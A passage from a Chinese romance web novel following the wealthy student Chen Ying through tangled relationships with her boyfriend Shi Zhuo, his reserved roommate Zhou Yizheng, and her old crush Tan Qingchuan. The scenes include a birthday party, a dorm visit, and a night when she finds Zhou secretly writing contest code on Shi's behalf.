秋天总容易让人陷入回忆,可此刻她难得什么都没有想。 这会,马路对面有人朝她走了过来。 那人撑了一把黑色的伞,雨雾朦胧,水珠顺着伞沿滑落,来往的车灯照亮了他下半张脸,薄薄的嘴唇,优越的下颌线,伞沿往上,她看到了他沉静的眼睛,茫茫夜色中,他像是香特尔·阿克曼电影中的一帧,神秘,引人探究。 陈楹没有上前,只是站在原地,等着他走近。 尼古丁的味道在雨夜里弥漫,终于,周译铮站在她面前,对她开口说了第一句话。 “你的手机。” 许多年后,陈楹回想起这个夜晚,回想起周译铮,那天明明他身上没有喷香水,可她却觉得他是水生调的。 “你确定这是我的手机?”她晃了晃自己的手机,疑惑开口。 话音刚落,周译铮按亮了屏幕,那是她和魏嘉铭在巴厘岛度假时的合照。 看来这是魏嘉铭落下的备用机。她倒是第一次见。 “谢谢。”陈楹伸手接过,约莫是实在无聊,在周译铮转身离开前,她又问了句,“还记得我吗?上次在学校我们见过。” 听见她的话,周译铮似乎愣了愣,冷淡地应了声。 “不记得。” 陈楹反倒弯了弯嘴角。 “哦,好的。” 雨下得很大,地上的水坑被砸出水花,不知为何,周译铮没有急着撑伞离开,陈楹缓缓吐烟,烟雾在两人中间飘散。 她隔着烟雾观察他的表情,就像在观赏一幅静物。 过了好一阵,周译铮紧绷的声线夹杂在雨声中传入耳膜。 “不用担心,今天的事,我不会告诉时濯。” 陈楹又是一声轻笑:“刚才不是说不记得我吗?” 周译铮大概从没遇到过像她这样的人,眉头皱了皱。 “没关系,你可以告诉他,”未等周译铮开口,陈楹把手机递到他面前,拨号键上是时濯的电话,“其实我不介意你现在就给他打个电话。” 说完,她饶有兴致地等着他的反应。 就在那根烟快要燃尽时,周译铮竟然勾了勾唇,表情疏离又冷淡:“你误会了。” “什么?” 他一字一句地说:“我不是在替你保守秘密,我只是……不想浪费我的时间。” 开车回去的路上,雨势小了许多,陈楹右手撑在窗沿,沿街的景色被雨水晕开,连那招牌上闪烁的霓虹灯也成了一块块模糊的光斑。 忽然,她想到什么,问驾驶座的魏嘉铭。 “你说,silverlune的服务生时薪是多少?” “怎么了,你要来这里体验生活?”魏嘉铭被问得一愣,疑惑地摇了摇头,“我也不知道,顶多六七十块吧。” 陈楹有些错愕,唇角弯了弯。 原来在他眼中,她的秘密还不值七十块钱。 * 十二月的第一个周末,是时濯的生日。 他在郊区的别墅举办了盛大的生日派对,包装精美的礼物摞在墙角,冰桶里插着几瓶bollinger的香槟,时濯被众星捧月般围在中间。 陈楹没有去凑热闹,她坐在窗边,望向露台那忽明忽灭的灯带,眼底染上暖黄色的光。 正发着呆,时濯就把蛋糕端到了她面前。 “第一块蛋糕,先给你。” 还没伸手去接,朋友已经打开手机镜头对准了他们,几乎贴上时濯的脸:“来,看看我们时少在外面是怎么给别人当狗的。” “去你的,”时濯踹了他一脚,嘴角却忍不住弯了弯,“待会看我不弄死你。” 动静很大,一时大家都看了过来,闪光灯接连亮起,陈楹皱了皱眉。她并不喜欢这样的场面,但也没表现出什么异常。 时濯没察觉到不对,黏黏糊糊地说:“我今年的生日愿望,和你有关,你想不想知道?” 说完,他在她脸颊处亲了一下。 陈楹身体僵硬了一瞬,只觉得尴尬。 起哄声越来越大,陈楹开始放空,目光在人群中扫过,突然,她想到了一个人,随口问道。 “你生日,你室友不来吗?” “来了啊,”时濯下巴轻抬,望向茶歇处,“他们在那边呢。” “不是。”陈楹摇头。 时濯反应了好一会,终于意识到她说的是谁,脸色霎时沉了沉,危机感席卷全身。 “你是说周译铮吧,”时濯抿了抿唇,假装云淡风轻地提起,“我和他平时关系一般,所以没叫他。” 时濯没有说实话,其实他和周译铮关系还可以,起码表面上是这样。 但周译铮长成这样,他不能引狼入室。 “他平时也不爱参加这些活动,每次聚餐都不去。”他欲盖弥彰地解释。 “为什么?” “他本来就不合群,而且他家境不好,和我们也没什么共同话题。他好像都没什么朋友,哦不对,好像有一个女生和他走得挺近的,之前还来找过他,也不知道是不是他女朋友……” “家境不好”,这是时濯第二次用这个词去形容周译铮。 陈楹想起那次在silverlune见到他,他说他不会浪费时间去做这些无意义的事。 这几日她偶尔会想起周译铮说这话时候的神情——他用陌生的眼神打量着自己,那双眼睛很冷,仿佛和她不是同一个世界的人。 晚上十点,派对快要结束,时濯在二楼的台球室找到了张树恒和许鑫杨。 “时濯,你怎么上来了,”许鑫杨意外,右手还握着球杆,直起身问道,“你朋友们都回去了?” “刚才你们录视频了吗?”时濯没理会他的话,直接问。 “怎么了?”张树恒愣了愣,右手紧张得捏出汗。 听说有钱人都格外注重自己的隐私,这是要检查他们的手机?他倒确实是录了些视频。 时濯温和地笑道:“没什么,我只是想看看都拍了些什么。” “哦,我只录了一点点,”张树恒说起来还有点不好意思,担心他会生气,说得吞吞吐吐,“就大家起哄……你亲陈楹那里。” 时濯非但没生气,反倒心情变得愉悦,眉头舒展开来。 “那你把视频发到宿舍群里吧,我留着纪念。” “好,我私发给你。” “发群里吧。” “哦,也行。” 张树恒没有多想,立刻勾选视频发到了他们宿舍群。 走道的灯光有些暗,时濯靠在墙上点开了305宿舍群,烦闷的目光掠过周译铮的头像,眼神变得复杂。 他承认,他就是故意发给周译铮看的。 4、第四章 时濯生日后,有很长一段时间,陈楹都没有再看见周译铮。 她几乎已经忘记了这个人。 密密麻麻的课表,还没完成的期末论文,寒假的旅游安排,每一件都足以冲淡她对这个人的记忆。 再次见到周译铮是在一月下旬,北城已经彻底进入了冬天,天空是冷调的灰色,梧桐树光秃秃地立在人工湖畔,像一幅极简的素描画。 寒假的校园,比往日还要冷清萧索。 陈楹正在去时濯寝室的路上,步履匆忙。 她的护照上次落在了时濯那里,一直忘了拿回来。明天一早就要飞瑞士,时间很紧,她只能给他打电话。 电话那头的时濯显然比她还要着急,像是担心她会不高兴,连连道歉,态度倒是很好。 “宝宝,都怪我上次旅游回来忘记把护照还给你了,我现在从雾城飞回去,拿到护照再给你送过去,好不好?” “不用了,”陈楹声音很冷静,“你告诉我放在哪了,我去拿。” 她不需要他的道歉,也不需要追究对错,她只想尽快解决事情。 “应该就在我宿舍,但我不记得放在哪了,而且我不确定现在宿舍有没有人,要不我先问问许鑫扬,待会我让他拿给你——” 没等时濯把话说完,陈楹已经挂断电话,开车赶回学校。 一路通行无阻,和宿管登记好,她快步走了上楼。 这会已经考完试,大部分人都离校了,整栋宿舍楼安静得像废弃的工厂,她的脚步声在空荡的楼道里回响。 时濯的寝室就在拐角处,陈楹走过去,下意识地扭动门把。 门竟然就这么开了。 陈楹愣了愣。 她的手还搭在门把上,后知后觉地意识到自己似乎应该先敲门的。 幸好,宿舍里没有人。 大概是刚才有人出去了,忘了锁门。 她没有理会这些细节,很快,她就找到了时濯的座位。 事实上,也的确花不了什么时间,因为时濯在桌面上放了他和自己的合照。 是一张自拍,背景在澳洲的波浪岩,时濯故意揉乱她的头发,她斜眼瞪他,他却恶作剧地笑得很开心。 那张照片连她都忘了是什么时候拍的了,许是两个月前,又或是刚认识那会,她记不清具体时间。 十分钟过去了,陈楹把时濯的桌面都翻了个遍,还是没有看到她的护照。 桌面乱糟糟的,一片狼藉,她彻底失去耐心,正要给时濯打电话,只是,咔嗒一声,阳台的门突然被拉开。 陈楹一怔,应声看了过去。 然后—— 她看到了周译铮。 显然,他刚洗完澡。 水珠从发梢掉下来,滴落在锁骨处,浅色t恤上是洇开的水渍,许是没想到宿舍里会有人,他走进门时习惯性地抬手去擦头发,宽松的衣服下摆往上,露出一截紧实的腰身。 陈楹目光兀地一顿,她看到他右侧腰身上有颗小痣,被冷白的肤色衬得格外显眼。 她打量着他,眼神纯粹、不含杂质,就像是在欣赏时尚杂志里的人物,她想起魏嘉铭那天说的话,这副皮囊确实适合出现在聚光灯下,而这张脸生来就该被镜头偏爱。 但对方或许并不是这么想的。 少年后知后觉地看到了她,擦头发的手缓缓垂下,眉头紧皱。 一片死寂里。 他看了她一眼。 那是看向不速之客的眼神。 “时濯不在。”他冷冷开口,声音低沉,言语简短。 “我不是来找他的。” 周译铮没说话,目光凝在她脸上,读不出任何情绪。 “我护照落下了,”陈楹想了想,还是补充了句,“抱歉,进门之前,我不知道你在。” “哦。” 对于她的道歉,周译铮冷淡地应了声,没有任何反应。 陈楹被噎住。 他还真是一句多余的话都不会说。 她还是第一次被人这样无视。 正想说些什么,放在口袋里的手机突然震动起来。 是时濯打过来的视频。 “宝宝,你已经在宿舍了吗?”他关切地问。 “嗯。” “我想起你的护照放在哪了,你打开柜子第二层的抽屉,看看是不是在那。” 陈楹握着手机,右手拉开抽屉,果然,她的护照就躺在那堆证件正中间。 “找到了。” 陈楹合上抽屉,正要挂断电话,与此同时,阳台传来重物掉落在地上的声响。 “宿舍里有人?” 不知时濯是察觉了什么,还是随口一问。 她本可以如实说,但很诡异地,陈楹竟莫名停顿了片刻,望向站在阳台处的周译铮。他竟也在看着她,视线相撞,他没有移开,和她对视。 “……没有。” “那你刚才怎么进来的?” “门没锁。” “那估计是许鑫扬出门的时候,忘记关门了。”时濯没有多想,见陈楹没有责怪自己,又得寸进尺地问,“我这边的行程还有两天就结束了,等结束了,我能不能去瑞士找你?” 陈楹立刻回绝:“不方便,家人在。” “可是才分开五天,我就想你了,这几天我都没睡好。要不我在你住的酒店定个房间,晚上我想抱着你睡觉……” 许是想着宿舍里没人,时濯的话越来越亲昵,毫不避讳。 陈楹握着手机,脸突然有点热。 抬头,周译铮正在看她,那漠不关心的眼神里似乎带着熟悉的轻蔑。 …… 离开时,天色已经暗了,陈楹站在门口,回头看了眼,周译铮还坐在电脑前敲着代码。 似乎对她的去留并不在意。 门没关,走廊的风吹进来,想起刚才那一幕,那从浴室带出来的昏热的雾气仿佛还萦绕在身上。 久久不散。 * 在瑞士呆了快半个月,除了滑雪以外,她几乎没离开过酒店,倒也不觉得无聊,有时她就坐在窗边,看着外面的飘雪,静静地发呆。 一直到除夕前夜,她才回国。 虽然魏嘉铭每天都在耳边念叨,但真正看到谈清川的那一刻,她还是有些恍惚。 她本以为自己会是平静的,起码不该是像现在这样——慌乱。 宴会厅的水晶吊灯洒下柔和的光线,谈清川站在人群中一眼就能看到的地方,他眼底含笑,右手捧着香槟,正微微倾身和长辈交谈,应对这些场面他向来都游刃有余。 衣香鬓影,觥筹交错,所幸,他并没有看到自己。 陈楹刚要转身,一道人影拦在她面前,那人脸色阴沉得像乌云压境,偏偏看向她的眼神又极其傲慢,似是对她很是不屑。 抬头,原来是她甩了好几个月的前男友。 “听说你和时濯谈上了?”林喻辞站在她面前,挑了挑眉,讽刺地说,“看来你这眼光也不怎么样,吃得越来越差了,这叫什么——‘审美降级’,对吧。” 这词挖苦别人的同时,还暗暗抬高了一下自己。 “还这么留意我呢,”陈楹双手抱肩,歪着头假装回忆,“我记得我们分开都快半年了吧。你不会一直到处打听我的消息吧。” 林喻辞冷笑了声,眼睛半眯:“笑死,这还不是你那个表弟告诉我的么,我有那么闲吗,真的是。” 说完,他把手里的酒杯递给路过的侍应,学她一样双手环在胸前,饶是刻意掩饰,仍是气得咬紧了牙关。 “当初不是说好谈两个月玩玩吗?你管我现在和谁谈。”陈楹不紧不慢地抿了一口香槟,说得云淡风轻。 “是啊,就是没想到你比我还能玩,我竟然还玩不过你,”林喻辞说得咬牙切齿,下颌线绷紧,一字一顿,“陈楹,你真是好、样、的,也是让我大开眼界了。” 甚至前一天晚上他还在计划下周一起去斐济旅行,结果第二天陈楹就把他拉黑了。 陈楹只当他在夸自己,点了点头。 “谢谢。” “你和时濯到哪一步了?”林喻辞似乎没有打算结束这个话题,话里话外掩不住的酸味。 陈楹睨了他一眼:“你再问下去的话,我会觉得你还喜欢我。” “笑死,谁喜欢你了!陈楹,你以为你有多大的魅力,你以为你是谁,你以为全世界的男人都会围着你转吗,至少我不是,以我的条件,多的是人喜欢我,你算什么东西!追我的人多了去了,我本来也没有多喜欢你,我今天来这里也不是为了你!” 林喻辞声音顿时拔高几度,整个人像一只炸毛的波斯猫,眼睛瞪得浑圆,充满攻击性。 果然,这人还和以前一样,一点没变。 陈楹莫名弯了弯嘴角。 “姐,原来你在这,我都找你一晚上了,你来了怎么没告——”魏嘉铭起初还没看到林喻辞,突然,他脚步一顿,嘴角的笑凝固在脸上,僵硬地打了声招呼,“喻、喻辞哥,你怎么也在。” 林喻辞上下打量着他,语气不善:“我出现在这,很奇怪吗?” “不是,就是太久没见你了,太惊喜了。” 魏嘉铭是个会看眼色的,马上打着圆场,一手拉着陈楹的手腕,“辞哥,我找我姐有点急事,先失陪一会。” 说完,没等林喻辞说话,就拉着陈楹走开了。 等走远了,他才低声问:“怎么和他碰上了,你也不躲着点?” “躲什么?”陈楹疑惑。 “你不是把他甩了吗,我听秦灏说,你们分手那天,他发了好大一通脾气,把你送他的东西全烧了,家里的佣人都吓坏了。而且朋友圈里所有姓陈的人,都被他拉进了黑名单。” 她还真不知道。 这事她也是第一次听说。 魏嘉铭:“不说他了,我们去找清川哥吧,我刚看到他在二楼书房。” “你去吧,我就不——” 最后一个字还没落下,那人低沉磁性的声音便在前方响起,像是无形的咒语,让她立刻停下脚步,无处可躲。 “小楹。” 周遭的声音突然远去,变成模糊的杂音,陈楹大脑一片空白,彻底怔在原地,抬头,谈清川已经朝他们走了过来,头顶水晶吊灯的光落在他身上,光影流动,他就这么出现在她眼前。 他们有多久没见了,陈楹想,应该不算很久,可为什么她觉得他越来越陌生了。 魏嘉铭看向他身后,好奇地问:“哥,怎么这次夏婵姐没和你一起回来?” 谈清川笑道:“她过几天有个很重要的比赛,现在应该还在准备。” “哦,那你这次打算回来呆多少天?不会又像去年一样,第二天就走了吧。” “最近事情不多,我请了一周的假,正好可以陪小楹过完生日。” 2月3号,是她的生日。 陈楹抬头,正好对上他投过来的视线,他眉眼弯弯,温柔地注视着她。 魏嘉铭倒是比她还要高兴:“那太好了,你都好久没陪我姐过生日了。以前我们每年都一起过的。” 有些记忆不受控制地涌了上来,在发酵成更清晰的情绪前,陈楹垂下眼睑,不再往下想。 闲聊了一阵,魏嘉铭被朋友叫走,只剩下她和谈清川。 形形色色的人从他们周围经过,可她仍然感到局促。 正要找借口离开,谈清川却像是突然记起什么,不经意提起:“听说小楹又谈男朋友了?” 陈楹无奈,魏嘉铭到底把这件事告诉了多少人。 她点了点头:“嗯。” “在一起多久了?” “两个多月。” “哦——”谈清川眉眼带笑,打趣道,“那应该快分手了吧。” 听见他的话,陈楹微微一怔。 “目前还没有这个打算。” 谈清川望向不远处的林喻辞,笑得人畜无害:“怎么,这个和以前的有什么不一样么?” 陈楹没回答,只是用最寻常的语气开着玩笑:“哥这么关心我?” 她用了刚才搪塞林喻辞的话来搪塞他,但谈清川却伸手摸了摸她的头,笑得眼睛弯弯:“我关心你,不是应该的吗?” 宽大的手掌落在她头顶,掌心温热,轻轻抚过她柔软的发丝,谈清川的动作很自然,和以前无数次一样,但很突然地,她想起了夏婵跨年那天在朋友圈发的合照。 纽约时代广场的霓虹灯下,人潮汹涌,夏婵扭过头,用那满是爱意的眼神望向他。 那条朋友圈的文案写着:【共你相识一千天】 那一刻,陈楹才恍然,原来他们已经认识这么久了。 距离那个春天,她把夏婵介绍给谈清川认识,已经过去一千天了。 5、第五章 陈楹的生日一如往年盛大。 夕阳余晖,晚霞绚烂,金箔从高处洒下,在空中旋转飘落,草坪上的乐队演奏着优雅慵懒的爵士乐,花房里有从世界各地空运过来的鲜花,呼吸间冬日的空气都变得甜腻,恍如来到了初春。 和长辈交谈结束,陈楹正想上楼,身后响起熟悉的温润的声线。 “你男朋友今天没来?” 脚步停顿,陈楹缓缓回头,谈清川就站在台阶下方渡边悠夏那幅著名的画作前,微微仰头用眼神询问她。 “嗯,怎么了吗?”她语气平淡。 谈清川推了推眼镜:“没什么,只是今天是你的生日,我还以为可以和他见上一面。” 今天来了那么多人,很多面孔连她都感到面生,没想到他还能留意到时濯没有出现。 该说是他记性太好,还是因为……其他的原因。 陈楹望向别处:“他今天有事,所以没过来。” “是吗,这么忙呢——” 他用了陈述句,可却拖长了尾音,嘴角挂着一抹浅笑。 他像是一眼就看出她在撒谎,可却没有拆穿,好像一直以来都是这样,在谈清川面前,她所有情绪都无处遁形。 她确实没有邀请时濯来参加她的生日派对,当然,时濯也没有提起。 她并没有因此而萌生任何失落的情绪,这样一来,倒是省了不少麻烦。 正要开口敷衍过去,谈清川的手机却响了。 屏幕显示,是“夏婵”。 接通电话的瞬间,陈楹扯了扯嘴角,离得这么近,她几乎能看清谈清川脸上每一个表情的变化,眼睑低低地垂着,眉心舒展,神色温柔。 “比完赛了?” “不要太担心结果,你已经付出了足够多的努力。” “我让herry给你留位置,你和朋友今晚好好庆祝一下。” “嗯,我还在给小楹过生日。” “她就在旁边。” “好,那我把电话给她。” 陈楹还在发呆,突然,谈清川把电话递到她面前。 “夏婵说想和你聊一会。” 望着横亘在两人中间的手机,陈楹犹豫了片刻,最后还是接了过来。 夏婵清亮活泼的声音在电话那头响起—— “楹楹,生日快乐!听清川哥说今天来了好多人,可惜我今年没办法回去给你过生日,其实我给你买了礼物,不过好像在海关那边耽误了几天,本来想着刚好今天能到的,你不会怪我吧……” 陈楹依旧没什么表情:“不会,谢谢。” “不过对你来说,可能不是什么贵重的礼物,希望你不要嫌弃。我在这边的生活费全靠勤工俭学,平时也多亏了清川哥帮我,给我找了租房,还找了兼职,不然我一个人在国外肯定不知道该怎么办……” 不知她刻意说起这些的用意是什么,陈楹只是沉默,没说话,却也逐渐失去耐心。 “楹楹,我想问你——”夏婵那边停顿了片刻,“你还喜欢……清川哥吗?” 话音落下的一瞬,陈楹右手攥紧,握住手机,抬头,谈清川就站在她面前。不到半米的距离,近得能闻见他身上淡淡的香水味,也近得像是能听见她们之间的对话。 许是察觉到她神色的变化,谈清川微微蹙眉,走近了些,满脸关切地低头看她。 在他的目光注视下,陈楹眼睛无由来地有点涩,她压住心底翻涌的情绪,轻声道: “不喜欢了,放心吧。” 下一秒,她挂断了电话,把手机还给谈清川。 “你们聊什么了?你刚才脸色不太好。”他问。 “你想知道?”陈楹思忖片刻,那双像猫一样的眼睛弯了弯。 “嗯。” “没什么,她只是问我,还喜不喜欢以前一直得不到的那件玩具,”说到后半句,陈楹自嘲地勾了勾唇,抬头对上他深褐色的瞳孔,一字一顿,“我说,不喜欢了。毕竟谁会一直活在以前呢。” 说完,她又笑着补充了句,“而且,人有了新的玩具后,发现旧的……也就那样。” * 生日宴会还没结束,陈楹就提前离开了。 她做事向来不考虑后果,反正她知道,总会有人替她收拾这个烂摊子。 在去车库的路上,她遇到了魏嘉铭。 大概他也觉得这样的场合很无聊,从别墅溜了出来,在草坪上和狗狗玩起了扔飞盘,浅灰色的毛衣袖口半挽。 “姐,你怎么拿着车钥匙,你要出门?” 她本想直接忽略他,但他径直朝她走了过来。 陈楹没耐心应付他,边走边说:“以后不要随便把我的事告诉别人。” 她今天无端多了一堆麻烦事,她实在懒得应付。 “比如什么?”他缺心眼地问,态度倒是端正。 “比如,我和时濯在一起的事情,”陈楹说起来就来气,转头质问,“你到底告诉了几个人?” “也就那么……四五个,而且清川哥又不是别人,有什么是他不能知道的吗,”魏嘉铭油盐不进,为自己辩解,“说起来,还是清川哥主动问我的,这也要怪我吗?姐,你还没说呢,你要去哪,这可是你的生日——” 还没等他把话说完,陈楹已经利落地拉开车门,坐进驾驶座,油门一踩,后视镜里的世界渐渐离她远去,只是魏嘉铭还站在原地,冲她喊着什么。 本想去湖边的别墅,但在十字路口,那跳动的长达九十秒的红灯让人彻底失去耐心,最后她打转方向盘,去了学校附近的公寓。 奇怪的是,走到公寓楼下,三楼客厅的灯竟然亮着。 难道是时濯来了? 毕竟这幢公寓的密码改过,除了她就只有时濯知道密码。 她想,或许时濯是想起了她的生日,所以来这里等她。但她今天实在是不想再和任何人说话了。 从电梯出来,陈楹站在门口输入六位的密码,嘀地一声,门打开了。 只是,走进去的一瞬间,陈楹愣住了。 她怎么也没想到,会看到周译铮出现在这里。 他穿着一件款式简单的黑色连帽卫衣坐在沙发边沿,帽子的抽绳由于半弯腰的动作而垂落下来,茶几上的电脑屏幕是密密麻麻的代码,听到门口传来的脚步声,周译铮下意识地回头,手指还半屈着放在键盘上。 这一切诡异得像个离奇的梦境。 相信周译铮也是这么认为的,因为她还是第一次在他的脸上看到茫然无措的神情,他从沙发起身,眉头紧皱。 “你怎么在这?”他开口。 陈楹抱着手臂站在玄关处,眼皮轻抬,淡淡地扫了他一眼。 “这是我家,你觉得呢?”她换上家居毛绒拖鞋,朝他走近,一步,两步,最后在他面前站定,“你觉得我为什么出现在这。” “这是……你的家?” 那是诧异的、难以置信的语气。 片刻后,周译铮懊恼地偏过头,似乎终于明白了什么,沉声:“时濯事先没有告诉我,我现在就离开。” 陈楹倒是不着急,弯腰,目光下移停留在他的电脑屏幕。 “在写代码?” “时濯要参加tnpc。” 他倒是直白,毫不避讳。 tnpc是现在国际上规模最大的算法编程竞赛之一,含金量自然不言而喻,时濯此前曾和她提起过。 她当时还有些诧异,毕竟她很清楚时濯的水平,大概连初赛都难以通过,原来是有“后手”。 “所以,你就这么告诉我了?”陈楹挑了挑眉,话里有话,“我还以为你们做幕后的,起码会替客户守住隐私。” “你们不都一样。” 他用的是陈述句。 周译铮甚至没有多加思考,就这么轻描淡写地说了出口,不知是不是她的错觉,她竟觉得他说话时看向她的眼神夹杂着不屑和……傲慢。 向来只有她这样看别人,说起来,她还是第一次被人用这样的眼神审视。 所以,他的意思是,她和时濯一样,都是靠这些手段考进江大的。 正想着,周译铮又开口:“况且你是他女朋友,我想,他不会介意。” “那可说不定,”陈楹嘴角勾了下,开起玩笑,“或许明天就不是了呢?” 她从没想过和时濯能谈多长时间的恋爱,又或者说,她从未想过会有任何一段关系是长久的。 说完,她从桌面上的烟盒里抖落了一根女士香烟。 烟丝点燃的瞬间,周译铮好像转头看了她一眼,目光落在打火机上。 这是他第二次看到她抽烟。 陈楹动作一顿,又耸了耸肩,笑道:“这是我家,我抽烟你应该不会介意吧。” 恰巧此刻,夜晚的风从阳台吹进来,发丝拂动,她的发尾轻轻扫过他的颈间,带起一阵怪异的酥麻的痒意,周译铮下颌绷紧,喉结动了动,立刻拉开了距离。 “你请便。” 空气里弥漫着女士香烟淡雅的果香与尼古丁混合的味道,周译铮弯腰合上电脑,装进一旁的黑色背包。 他已经走到了门口,陈楹望向桌面上的浮雕骨瓷杯,轻笑了声:“忘了告诉你,你刚才喝的好像是我的杯子。” 周译铮脚步顿了顿,甚至没有回头就离开了。 似是对她避之不及。 陈楹从三楼的阳台往下看,直到他的背影消失在楼宇间,她才散漫地收回视线。 夜风拂过,很突然地,她想起上次看到的他右侧腰身上那颗红色的小痣。 很晃眼。 * 快十一点,时濯终于从外面回来了,他手上还提着两份宵夜,急匆匆地走进门,嘴里边催促着。 “你弄好了吗,明天就要提交了,今晚无论如何都要——” 时濯所有的话在看到陈楹的那一刻全都咽回了肚子里,他眼神闪躲,心虚得很明显。 “宝宝,你怎么在这,你不是说过年都不回这里吗?” 学校宿舍过了零点就要断网,时间紧迫,他只能先带周译铮来这里。 他不是没想过去附近的宾馆,但环境太差了,卫生条件也不行,他住不习惯。 反正陈楹过年都不会回这里,他在这住一晚上应该没什么关系。 只是,他怎么也没想到陈楹竟然会提前回来。 这时,陈楹放下手里的时尚杂志,抬眼看他。 “有什么问题吗?” 时濯心里七上八下的,慌得要命。 这话简直漏洞百出,不过他脑子转得很快,瞧见客厅里没留下任何周译铮的物品,他还是松了一口气,毕竟如果陈楹要是发现他带了其他人来这里,肯定不会是现在的脸色。 她向来不是这么好说话的人。 想到这,他努力把话圆回来:“我这几天和家里吵架了,都在这住,要是知道你回来,我可以提前让人过来打扫,你看屋里乱糟糟的。” 陈楹看向楼上的卧室:“确实很乱,那你现在就可以去收拾了,记得收拾干净一点。” 简直是搬起石头砸自己的脚。 现在懊恼也没用,时濯只好应下。 “好,我现在就去。” 他撇了撇嘴,不情不愿地去了楼上,脚步声沉重如铅。 想起比赛的事更是焦头烂额,时濯拿出手机给周译铮发消息。 【怎么突然走了。】 周译铮没回,也不知道在忙什么。 时濯没耐心等,又接着打字。 【账号和密码给你了,你写完直接提交吧,我这边还有事就不看了。】 * 陈楹洗完澡躺在客厅的沙发看电视。 谈清川的电话就是在这个时候打过来的。 “小楹,你现在在哪?”谈清川的声音从电话那头传来,语速很快,似乎是在担心她。 “怎么了?” “发生什么事了吗,为什么一声不吭就走了?” 他那边的背景里还能听到宾客们交谈议论的声音,陈楹右手把玩着发尾,谎话不经思索地就从口中说出。 “没什么,我在和男朋友过生日。”她顿了顿,“是有人找我吗,那清川哥随便帮我找个借口吧。” 话音落下,那边竟沉默了半晌,许久才传来声响。 “……你现在在学校?” “嗯,还有什么事吗?”陈楹问。 还没等他应答,恰巧这会时濯从楼上下来,他大概没发现她正在打电话,语气亲昵,贴在她脸颊右侧:“宝宝,我洗完澡了,这么久没见,今晚要不要看看我健身的成果?” 陈楹霎时屏住了呼吸,连她都觉得空气凝滞了一秒。 漫长的沉默在电话间蔓延,久到陈楹以为对方已经挂断,可那喧闹的背景音仍在提醒着她,谈清川还在听。 他什么都听到了,却没有说话。 时濯在沙发坐下,拉着她的手去摸自己的腹肌,也是这时,他才发现陈楹在打电话,轻声问了句:“谁?” 陈楹摇头,时濯只好噤声。 “还有什么事吗?” 她对着电话那头把刚才的话又重复了一遍。 终于,谈清川没有温度的声音在耳畔响起:“没事,不打扰你了。” 陈楹握紧了手机,望向窗外沉沉的黑夜,眼神空洞,没有焦点。 只是,在挂断电话的最后一刻,他仍是闷声补充了句,像是在完成一项必须的仪式。 “小楹,生日快乐。” 6、第六章 时濯怔怔地看着陈楹,竟觉得陌生。 在一起这三个月,他从来没有在陈楹身上看到过这样的神情,惆怅、失落、惘然,还有难以掩饰的难过。 他曾经以为在这个世界上没有人能影响她的情绪。因为她也从来没有分给他多余的喜怒哀乐。 原来,并不是这样的。 嫉妒的情绪就这么爬了上来,他不满地问: “刚才是谁的电话?” 陈楹刚放下手机,时濯就像金毛一样贴了过来,温热的鼻息打在颈侧,牙齿轻轻咬着她的耳垂,客厅里的气氛转瞬间变得暧昧露骨。 她含糊其辞:“一个朋友。” “什么样的朋友?”时濯抬眼,闷哼地撒娇问道,“睡过吗?” 陈楹愣了一瞬,莫名笑了出来。 “是不是在你看来,朋友只分睡过的,和没睡过的?” “当然不是,”时濯立刻否认,嘴角向下撇,又讪讪地说,“算了,我不问了。” 反正不管是什么答案,他都会不高兴。 上次朋友聚会,他又见到了林喻辞那个贱东西,即便只是碰了个面,两人一句话都没说,但这都让他不爽了好几天。 事后,林喻辞那贱人竟然还找人要了他的电话。 因为,那天睡觉前,他突然收到了一条匿名短信。 【傻叉,别嘚瑟,过不了几天陈楹就把你甩了。】 他气得一整晚都没睡着,恨得牙痒痒的,立刻打了电话过去,可惜一直打不通,只能就这么受了这窝囊气。 现在想起来,时濯都禁不住攥紧了拳头,可是看着陈楹的脸,他又觉得和她在一起要面对这些也是正常的。 她聪明漂亮,家境好,而且还是靠自己考上江大的,除了性格冷了点,他找不到陈楹任何的缺点。 也难怪林喻辞在背地里整这些阴招,盼着他们分手。 时濯此前谈过几段恋爱,但都没到最后一步,他现在想想,幸好他一直以来都洁身自好,不管怎么说,他应该总比林喻辞那个纨绔子弟要好。 起码和陈楹在一起的时候,他是干净的。 “宝宝,两周没见了,你想不想我?”灯光下,他凑近看她,连陈楹脸上的绒毛都看得一清二楚。 “想。” 陈楹敷衍地应了声,正要起身,时濯却突然俯身压了上来,用牙齿咬开了她睡衣上系的蝴蝶结,又拉着她的手解开他衬衣上的扣子。 他没再问那些无聊的问题,他今晚只想好好取悦她。 太久没做,他确实很想要,这段时间他在网上学了这些以前他看不上的招数和手段,他很想让她验收成果。 他想让她开心。 就在他把手探入她睡裙下摆的时候,陈楹竟像是兴致缺缺,拿开了他的手。 “我今天有点累。” 时濯觉得意外,又问:“你是不是不开心?那今晚我留下来陪你,我保证什么都不做,我给你讲睡前故事吧。” “不用了,我想自己一个人呆着。” 时濯听懂了她的意思,眼底星星点点的光暗了下来,失望地点了点头。 “好吧,那我回去了,你今晚好好休息。” 已经到了楼下,时濯心里烦躁,胸口堵得难受,正要抽根烟,手机屏幕弹出消息。 陈楹:「公寓的密码我已经改了。」 霎时,香烟掉在地上,落入路面那摊融化的雪水里,时濯站在原地,冬天的风凛冽干冷,吹得他心里发凉。 她果然知道了。 * 谈清川回美国那天,陈楹没去机场送他。 大清早,魏嘉铭就给她打了好几个电话,手机在烟雨灰大理石茶几上不停地震动,嗡嗡的声响在安静的环境里显得格外突兀,她抱着靠枕坐在沙发假装没看到。 屏幕亮了又暗,暗了又亮。 等谈清川的飞机已经起飞了,她才在微信上回他。 【刚睡醒。】 魏嘉铭很快回了一段语音过来,背景里还在播报着机场的广播,看来还没离开机场。 他叽叽喳喳一股脑说着:【姐,都十点了你还没起床!我昨天让你调闹钟,你是不是又忘了,下次我得看着你调好闹钟再走。】 【没事了,清川哥这会已经登机了。你继续睡吧。[猪头.jpg]】 陈楹眼尾弯了一下,放下手机。 她想,像魏嘉铭这么好糊弄的人不多了。 她说什么他都信。 次日下午,陈楹回了一趟学校。 网媒部要追热点拍宣传视频,蒋蓉蓉喊她江湖救急,在微信上给她刷屏发了整整两页消息。 还没到开学时间,校园里颇有些冷清,路上只有零星几个人。 蒋蓉蓉又发来消息: 【楹宝,你要喝什么奶茶呀,小的现在去给您买。】 陈楹:【不用了,你们喝吧,我最近控糖。】 蒋蓉蓉秒回:【那无糖清爽芭乐提一杯?】 【行。】 陈楹只能由她。 刚到拍摄现场,蒋蓉蓉远远地就跑了过来,激动得一把抱住了她。 “楹宝,你终于来了!” 